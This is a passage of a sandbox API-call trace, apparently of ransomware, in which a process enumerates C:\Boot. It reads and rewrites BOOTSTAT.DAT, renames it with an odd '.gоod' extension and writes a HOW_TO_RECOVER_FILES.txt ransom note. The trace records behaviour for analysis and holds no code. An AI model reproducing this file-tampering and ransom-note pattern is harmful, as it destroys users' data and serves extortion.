hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0069.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0069.162] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD", lpFilePart=0x0) returned 0xb [0069.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0069.162] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x31fce58 | out: lpFileInformation=0x31fce58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1 [0069.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0069.162] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD", lpFilePart=0x0) returned 0xb [0069.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.162] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59b0d0) returned 1 [0069.385] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x0) returned 0xf [0069.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0069.385] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x334e618 | out: lpFileInformation=0x334e618*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0069.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0069.385] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x0) returned 0xf [0069.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.385] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59b0d0) returned 1 [0069.388] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0069.388] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x334f048 | out: lpFileInformation=0x334f048*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0069.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0069.389] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.390] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.390] GetFileType (hFile=0x764) returned 0x1 [0069.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0069.390] GetFileType (hFile=0x764) returned 0x1 [0069.390] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0069.390] ReadFile (in: hFile=0x764, lpBuffer=0x334f3a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x334f3a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0069.391] CloseHandle (hObject=0x764) returned 1 [0069.391] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.391] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.391] GetFileType (hFile=0x764) returned 0x1 [0069.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0069.391] GetFileType (hFile=0x764) returned 0x1 [0069.391] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x10000 [0069.392] WriteFile (in: hFile=0x764, lpBuffer=0x33505d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x33505d8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0069.392] CloseHandle (hObject=0x764) returned 1 [0069.394] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.395] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.395] GetFileType (hFile=0x764) returned 0x1 [0069.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0069.395] GetFileType (hFile=0x764) returned 0x1 [0069.395] ReadFile (in: hFile=0x764, lpBuffer=0x3352838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3352838*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.454] CloseHandle (hObject=0x764) returned 1 [0069.454] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.454] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.454] GetFileType (hFile=0x764) returned 0x1 [0069.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0069.454] GetFileType (hFile=0x764) returned 0x1 [0069.454] WriteFile (in: hFile=0x764, lpBuffer=0x33515f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33515f0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0069.454] CloseHandle (hObject=0x764) returned 1 [0069.456] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0069.456] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT.gоod", lpFilePart=0x0) returned 0x19 [0069.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0069.456] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x259c42e7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0069.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0069.457] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.gоod" (normalized: "c:\\boot\\bootstat.dat.gоod")) returned 1 [0069.457] GetFullPathNameW (in: lpFileName="C:\\Boot\\memtest.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\memtest.exe", lpFilePart=0x0) returned 0x13 [0069.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0069.457] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x33cf338 | out: lpFileInformation=0x33cf338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0)) returned 1 [0069.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0069.461] GetFullPathNameW (in: lpFileName="C:\\Boot\\memtest.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\memtest.exe", lpFilePart=0x0) returned 0x13 [0069.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.461] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59b0d0) returned 1 [0069.463] GetFullPathNameW (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\updaterevokesipolicy.p7b", lpFilePart=0x0) returned 0x20 [0069.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0069.463] GetFileAttributesExW (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), fInfoLevelId=0x0, lpFileInformation=0x33cfb20 | out: lpFileInformation=0x33cfb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236)) returned 1 [0069.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0069.465] GetFullPathNameW (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\updaterevokesipolicy.p7b", lpFilePart=0x0) returned 0x20 [0069.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0069.465] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59b0d0) returned 1 [0069.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.468] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\bg-BG", lpFilePart=0x0) returned 0xd [0069.468] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.468] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.468] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.468] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.468] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.469] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\bg-BG", lpFilePart=0x0) returned 0xd [0069.469] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.469] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.469] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.469] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0069.469] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.470] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\bg-BG\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.470] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33dd990 | out: lpFileInformation=0x33dd990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1 [0069.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.470] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\bg-BG\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.470] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.472] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\bg-BG\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.472] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\bg-bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.473] GetFileType (hFile=0x764) returned 0x1 [0069.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.473] GetFileType (hFile=0x764) returned 0x1 [0069.474] WriteFile (in: hFile=0x764, lpBuffer=0x33e0390*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x33e0390*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.475] CloseHandle (hObject=0x764) returned 1 [0069.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.476] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0069.476] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.477] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.477] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.477] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.477] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.478] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.478] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0069.478] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, 